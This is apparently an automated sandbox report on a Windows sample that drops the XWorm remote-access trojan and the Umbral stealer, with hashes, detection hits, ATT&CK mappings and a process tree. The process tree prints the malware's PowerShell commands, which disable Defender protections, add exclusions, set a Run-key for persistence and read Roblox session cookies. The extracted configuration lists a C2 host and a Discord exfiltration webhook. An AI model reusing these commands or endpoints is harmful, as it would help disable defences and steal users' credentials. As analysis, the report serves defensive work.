umbral | 932efb570cd8045499675443a910394b5c6bec45511aa2c517a636bd3e385766

Analysis

max time kernel
120s
max time network
146s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
25-02-2024 06:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

IO tootls.exe
Size

209KB
MD5

841d1c344cc00671b25a80e6db3b1e06
SHA1

1952391bfc777b4cd2acc403d895dd7e198aa013
SHA256

932efb570cd8045499675443a910394b5c6bec45511aa2c517a636bd3e385766
SHA512

75af1637e76c307c6241a4ac26859a9260c2198d2aa83e5a6c52e0ec6bb37fac4cecf4f002f05d861356f833fc306869682e3195c0e6ba603e8ebf4b9a98f96e
SSDEEP

6144:v5DmisKDLvohc1Y3o40bbwhpn8+jPmqSQj33zO9Y:xXLDor440y8oPmZW

Score

10^/10

umbral xworm persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

hai1723rat-60039.portmap.io:60039

Extracted

Family

umbral

https://discord.com/api/webhooks/1211176678466916392/99VOwP9dc7iQz2Is-QlZ872KZaiUa4r3sEvXqZ6NmS-fFuTojiUjOg2SjIUWBCIoPNFA

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000014aec-38.dat	family_umbral
behavioral2/memory/3012-53-0x0000000000E40000-0x0000000000E8E000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000e000000014738-32.dat	family_xworm
behavioral2/memory/2484-54-0x0000000000370000-0x0000000000396000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	controllloader.exe

Executes dropped EXE 2 IoCs

pid	Process
2484	systemload.exe
3012	controllloader.exe

Loads dropped DLL 2 IoCs

pid	Process
3016	IO tootls.exe
3016	IO tootls.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\updatee = "C:\\Windows\\.NET\\netloader.exe"	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
10	discord.com
11	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com
2	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2380 set thread context of 3016	2380	IO tootls.exe	1

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\.NET\netloader.exe	IO tootls.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2368	wmic.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
2208	powershell.exe
3016	IO tootls.exe
3016	IO tootls.exe
3016	IO tootls.exe
1492	powershell.exe
1032	powershell.exe
1948	powershell.exe
1764	powershell.exe
1432	powershell.exe
2484	systemload.exe
1684	powershell.exe
1608	powershell.exe
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	3016	IO tootls.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	3012	controllloader.exe
Token: SeDebugPrivilege	2484	systemload.exe
Token: SeDebugPrivilege	1032	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	1764	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	2484	systemload.exe
Token: SeDebugPrivilege	1684	powershell.exe
Token: SeDebugPrivilege	1608	powershell.exe
Token: SeIncreaseQuotaPrivilege	1280	wmic.exe
Token: SeSecurityPrivilege	1280	wmic.exe
Token: SeTakeOwnershipPrivilege	1280	wmic.exe
Token: SeLoadDriverPrivilege	1280	wmic.exe
Token: SeSystemProfilePrivilege	1280	wmic.exe
Token: SeSystemtimePrivilege	1280	wmic.exe
Token: SeProfSingleProcessPrivilege	1280	wmic.exe
Token: SeIncBasePriorityPrivilege	1280	wmic.exe
Token: SeCreatePagefilePrivilege	1280	wmic.exe
Token: SeBackupPrivilege	1280	wmic.exe
Token: SeRestorePrivilege	1280	wmic.exe
Token: SeShutdownPrivilege	1280	wmic.exe
Token: SeDebugPrivilege	1280	wmic.exe
Token: SeSystemEnvironmentPrivilege	1280	wmic.exe
Token: SeRemoteShutdownPrivilege	1280	wmic.exe
Token: SeUndockPrivilege	1280	wmic.exe
Token: SeManageVolumePrivilege	1280	wmic.exe
Token: 33	1280	wmic.exe
Token: 34	1280	wmic.exe
Token: 35	1280	wmic.exe
Token: SeIncreaseQuotaPrivilege	1280	wmic.exe
Token: SeSecurityPrivilege	1280	wmic.exe
Token: SeTakeOwnershipPrivilege	1280	wmic.exe
Token: SeLoadDriverPrivilege	1280	wmic.exe
Token: SeSystemProfilePrivilege	1280	wmic.exe
Token: SeSystemtimePrivilege	1280	wmic.exe
Token: SeProfSingleProcessPrivilege	1280	wmic.exe
Token: SeIncBasePriorityPrivilege	1280	wmic.exe
Token: SeCreatePagefilePrivilege	1280	wmic.exe
Token: SeBackupPrivilege	1280	wmic.exe
Token: SeRestorePrivilege	1280	wmic.exe
Token: SeShutdownPrivilege	1280	wmic.exe
Token: SeDebugPrivilege	1280	wmic.exe
Token: SeSystemEnvironmentPrivilege	1280	wmic.exe
Token: SeRemoteShutdownPrivilege	1280	wmic.exe
Token: SeUndockPrivilege	1280	wmic.exe
Token: SeManageVolumePrivilege	1280	wmic.exe
Token: 33	1280	wmic.exe
Token: 34	1280	wmic.exe
Token: 35	1280	wmic.exe
Token: SeIncreaseQuotaPrivilege	2336	wmic.exe
Token: SeSecurityPrivilege	2336	wmic.exe
Token: SeTakeOwnershipPrivilege	2336	wmic.exe
Token: SeLoadDriverPrivilege	2336	wmic.exe
Token: SeSystemProfilePrivilege	2336	wmic.exe
Token: SeSystemtimePrivilege	2336	wmic.exe
Token: SeProfSingleProcessPrivilege	2336	wmic.exe
Token: SeIncBasePriorityPrivilege	2336	wmic.exe
Token: SeCreatePagefilePrivilege	2336	wmic.exe
Token: SeBackupPrivilege	2336	wmic.exe
Token: SeRestorePrivilege	2336	wmic.exe
Token: SeShutdownPrivilege	2336	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2484	systemload.exe

Suspicious use of WriteProcessMemory 62 IoCs

description	pid	Process	procid_target
PID 2380 wrote to memory of 2208	2380	IO tootls.exe	3
PID 2380 wrote to memory of 2208	2380	IO tootls.exe	3
PID 2380 wrote to memory of 2208	2380	IO tootls.exe	3
PID 2380 wrote to memory of 2208	2380	IO tootls.exe	3
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 2380 wrote to memory of 3016	2380	IO tootls.exe	1
PID 3016 wrote to memory of 2484	3016	IO tootls.exe	32
PID 3016 wrote to memory of 2484	3016	IO tootls.exe	32
PID 3016 wrote to memory of 2484	3016	IO tootls.exe	32
PID 3016 wrote to memory of 2484	3016	IO tootls.exe	32
PID 3016 wrote to memory of 3012	3016	IO tootls.exe	33
PID 3016 wrote to memory of 3012	3016	IO tootls.exe	33
PID 3016 wrote to memory of 3012	3016	IO tootls.exe	33
PID 3016 wrote to memory of 3012	3016	IO tootls.exe	33
PID 3016 wrote to memory of 924	3016	IO tootls.exe	34
PID 3016 wrote to memory of 924	3016	IO tootls.exe	34
PID 3016 wrote to memory of 924	3016	IO tootls.exe	34
PID 3016 wrote to memory of 924	3016	IO tootls.exe	34
PID 924 wrote to memory of 1492	924	cmd.exe	36
PID 924 wrote to memory of 1492	924	cmd.exe	36
PID 924 wrote to memory of 1492	924	cmd.exe	36
PID 924 wrote to memory of 1492	924	cmd.exe	36
PID 3012 wrote to memory of 1032	3012	controllloader.exe	37
PID 3012 wrote to memory of 1032	3012	controllloader.exe	37
PID 3012 wrote to memory of 1032	3012	controllloader.exe	37
PID 2484 wrote to memory of 1948	2484	systemload.exe	40
PID 2484 wrote to memory of 1948	2484	systemload.exe	40
PID 2484 wrote to memory of 1948	2484	systemload.exe	40
PID 3012 wrote to memory of 1432	3012	controllloader.exe	44
PID 3012 wrote to memory of 1432	3012	controllloader.exe	44
PID 3012 wrote to memory of 1432	3012	controllloader.exe	44
PID 2484 wrote to memory of 1764	2484	systemload.exe	42
PID 2484 wrote to memory of 1764	2484	systemload.exe	42
PID 2484 wrote to memory of 1764	2484	systemload.exe	42
PID 3012 wrote to memory of 1684	3012	controllloader.exe	46
PID 3012 wrote to memory of 1684	3012	controllloader.exe	46
PID 3012 wrote to memory of 1684	3012	controllloader.exe	46
PID 3012 wrote to memory of 1608	3012	controllloader.exe	48
PID 3012 wrote to memory of 1608	3012	controllloader.exe	48
PID 3012 wrote to memory of 1608	3012	controllloader.exe	48
PID 3012 wrote to memory of 1280	3012	controllloader.exe	49
PID 3012 wrote to memory of 1280	3012	controllloader.exe	49
PID 3012 wrote to memory of 1280	3012	controllloader.exe	49
PID 3012 wrote to memory of 2336	3012	controllloader.exe	51
PID 3012 wrote to memory of 2336	3012	controllloader.exe	51
PID 3012 wrote to memory of 2336	3012	controllloader.exe	51
PID 3012 wrote to memory of 1572	3012	controllloader.exe	53
PID 3012 wrote to memory of 1572	3012	controllloader.exe	53
PID 3012 wrote to memory of 1572	3012	controllloader.exe	53
PID 3012 wrote to memory of 3008	3012	controllloader.exe	55
PID 3012 wrote to memory of 3008	3012	controllloader.exe	55
PID 3012 wrote to memory of 3008	3012	controllloader.exe	55
PID 3012 wrote to memory of 2368	3012	controllloader.exe	59
PID 3012 wrote to memory of 2368	3012	controllloader.exe	59
PID 3012 wrote to memory of 2368	3012	controllloader.exe	59

C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
#cmd
1⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3016
- C:\Users\Admin\AppData\Local\Temp\systemload.exe
  "C:\Users\Admin\AppData\Local\Temp\systemload.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\systemload.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'systemload.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1764
- C:\Users\Admin\AppData\Local\Temp\controllloader.exe
  "C:\Users\Admin\AppData\Local\Temp\controllloader.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\controllloader.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1032
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1432
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1684
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1608
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1280
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2336
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1572
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3008
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2368
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\start.cmd" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:924
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1492

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'updatee' -Value '"C:\Windows\.NET\netloader.exe"' -PropertyType 'String'
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208

C:\Users\Admin\AppData\Local\Temp\IO tootls.exe
"C:\Users\Admin\AppData\Local\Temp\IO tootls.exe"
1⤵
- Suspicious use of SetThreadContext
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2380

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\start.cmd

Filesize
93B

MD5
f960abd9684a879e8eca03b8c864ea96

SHA1
fb4b9a9b40af84ae46b70bb40ac3e1f45e4b4ad3

SHA256
7389178da21f4e2d4ef73ab199b7beeb97247a6c1afec3f3c48a7f561cbfaf90

SHA512
2c6267ab25c364c5b13059ed593bb47dfae586ae7b1411634efa3f45aaf07b4d8f491fe93bfd34482a1250c955f1e8c27e1afa0460672a5e9584ebe007ab2054

Download Submit
C:\Users\Admin\AppData\Local\Temp\systemload.exe

Filesize
130KB

MD5
352a162df9ca5605e1a1910c7a24cb7c

SHA1
4b4ed1c740a03c15eb47d875b65c76941debcaf7

SHA256
87e9d9a7a197a0cd483f8e73f307af53a7518cabc001257c8235743181b9a7b8

SHA512
0c2bae3f66748cc3448eaf60c5079ae3afba6d585e19e54857f7c152a1bd69c3b8e3df7feb413f3eb2df0f2bc01b44be5bcdefd5427af154a221f2b808a2399d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
771164c8df23de18865ff4fbaa8f620a

SHA1
4ddb1bf813701087c02d0e98c96f0d63afdb1024

SHA256
ad2ba42c5315af1ab8e53cd3918ce5f56292128cbee9481a23b9ce0c40051ebf

SHA512
57cecff4080314e1bf50c0450fae740ef247600d8f34cc06fc37862ce5a39e332359bd5bf2ca91eea852f382eaff4fb94f4713b4a09270b1982aafa39fbe5ce4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
01c1454c04401f31129e71e43e179247

SHA1
4239757ea85b9db7b0baca847623f2b3bc3dd54e

SHA256
57e4897a5291a4135d889ea9678fc3c981b4d6f4a52f6cf0e1376b4d6e54d11f

SHA512
f6bdb28c64989f755ae8787e4773ee96aa9df0c1c04a9ac02b590ff45eb3ead9ced1705f4c3c81455a729b85ae526cc9e5fdf361fbe9167d69e282883c06dca5

Download Submit
\Users\Admin\AppData\Local\Temp\controllloader.exe

Filesize
286KB

MD5
e41a0fa0c1e39af92d22090d4df61a1f

SHA1
c971a4089b1ab116c34b5ab0dc54d9977f86e834

SHA256
c0966533c2bc8c8b9ee176d774eae0ca1c4d6fe6e8efe5d87d4cac8c04b84372

SHA512
d42798fa9115f3c3775798a26ef7c28e4f173bdc2b74884b01a4e7905b17a2da09508766a626652eec3622a15a891b6859f4e9a422eb052a59b3fd3eafe1a7fd

Download Submit
memory/1032-81-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1032-80-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/1032-79-0x000000001B3D0000-0x000000001B6B2000-memory.dmp

Filesize
2.9MB

Download
memory/1032-82-0x00000000022B0000-0x0000000002330000-memory.dmp

Filesize
512KB

Download
memory/1032-86-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1032-83-0x00000000022B4000-0x00000000022B7000-memory.dmp

Filesize
12KB

Download
memory/1032-85-0x00000000022BB000-0x0000000002322000-memory.dmp

Filesize
412KB

Download
memory/1032-88-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1432-110-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/1432-113-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/1432-102-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/1432-107-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1432-112-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/1432-117-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1432-108-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/1432-109-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1432-116-0x0000000002A20000-0x0000000002AA0000-memory.dmp

Filesize
512KB

Download
memory/1492-67-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/1492-63-0x00000000730D0000-0x000000007367B000-memory.dmp

Filesize
5.7MB

Download
memory/1492-68-0x00000000730D0000-0x000000007367B000-memory.dmp

Filesize
5.7MB

Download
memory/1492-66-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/1492-65-0x00000000730D0000-0x000000007367B000-memory.dmp

Filesize
5.7MB

Download
memory/1492-64-0x00000000026A0000-0x00000000026E0000-memory.dmp

Filesize
256KB

Download
memory/1608-144-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/1608-146-0x00000000024D0000-0x0000000002550000-memory.dmp

Filesize
512KB

Download
memory/1608-145-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1608-143-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1684-126-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1684-127-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/1684-125-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/1684-124-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1684-136-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/1684-137-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1764-111-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1764-103-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/1764-115-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1764-114-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1764-106-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1764-105-0x00000000029B0000-0x0000000002A30000-memory.dmp

Filesize
512KB

Download
memory/1764-104-0x000007FEEC880000-0x000007FEED21D000-memory.dmp

Filesize
9.6MB

Download
memory/1948-87-0x00000000024C0000-0x0000000002540000-memory.dmp

Filesize
512KB

Download
memory/1948-90-0x00000000024CB000-0x0000000002532000-memory.dmp

Filesize
412KB

Download
memory/1948-84-0x000007FEED220000-0x000007FEEDBBD000-memory.dmp

Filesize
9.6MB

Download
memory/1948-89-0x00000000024C4000-0x00000000024C7000-memory.dmp

Filesize
12KB

Download
memory/2208-55-0x0000000073680000-0x0000000073C2B000-memory.dmp

Filesize
5.7MB

Download
memory/2208-23-0x0000000073680000-0x0000000073C2B000-memory.dmp

Filesize
5.7MB

Download
memory/2208-26-0x0000000002690000-0x00000000026D0000-memory.dmp

Filesize
256KB

Download
memory/2208-24-0x0000000073680000-0x0000000073C2B000-memory.dmp

Filesize
5.7MB

Download
memory/2208-27-0x0000000002690000-0x00000000026D0000-memory.dmp

Filesize
256KB

Download
memory/2208-25-0x0000000002690000-0x00000000026D0000-memory.dmp

Filesize
256KB

Download
memory/2380-16-0x0000000074860000-0x0000000074F4E000-memory.dmp

Filesize
6.9MB

Download
memory/2380-3-0x0000000004CF0000-0x0000000004D30000-memory.dmp

Filesize
256KB

Download
memory/2380-1-0x0000000074860000-0x0000000074F4E000-memory.dmp

Filesize
6.9MB

Download
memory/2380-0-0x0000000001270000-0x00000000012AA000-memory.dmp

Filesize
232KB

Download
memory/2484-62-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

Filesize
9.9MB

Download
memory/2484-135-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

Filesize
9.9MB

Download
memory/2484-54-0x0000000000370000-0x0000000000396000-memory.dmp

Filesize
152KB

Download
memory/3012-53-0x0000000000E40000-0x0000000000E8E000-memory.dmp

Filesize
312KB

Download
memory/3012-128-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

Filesize
9.9MB

Download
memory/3012-147-0x000000001AFA0000-0x000000001B020000-memory.dmp

Filesize
512KB

Download
memory/3012-69-0x000000001AFA0000-0x000000001B020000-memory.dmp

Filesize
512KB

Download
memory/3012-61-0x000007FEF5870000-0x000007FEF625C000-memory.dmp

Filesize
9.9MB

Download
memory/3016-17-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-51-0x00000000747E0000-0x0000000074ECE000-memory.dmp

Filesize
6.9MB

Download
memory/3016-19-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-14-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/3016-10-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-20-0x00000000747E0000-0x0000000074ECE000-memory.dmp

Filesize
6.9MB

Download
memory/3016-4-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-6-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3016-8-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download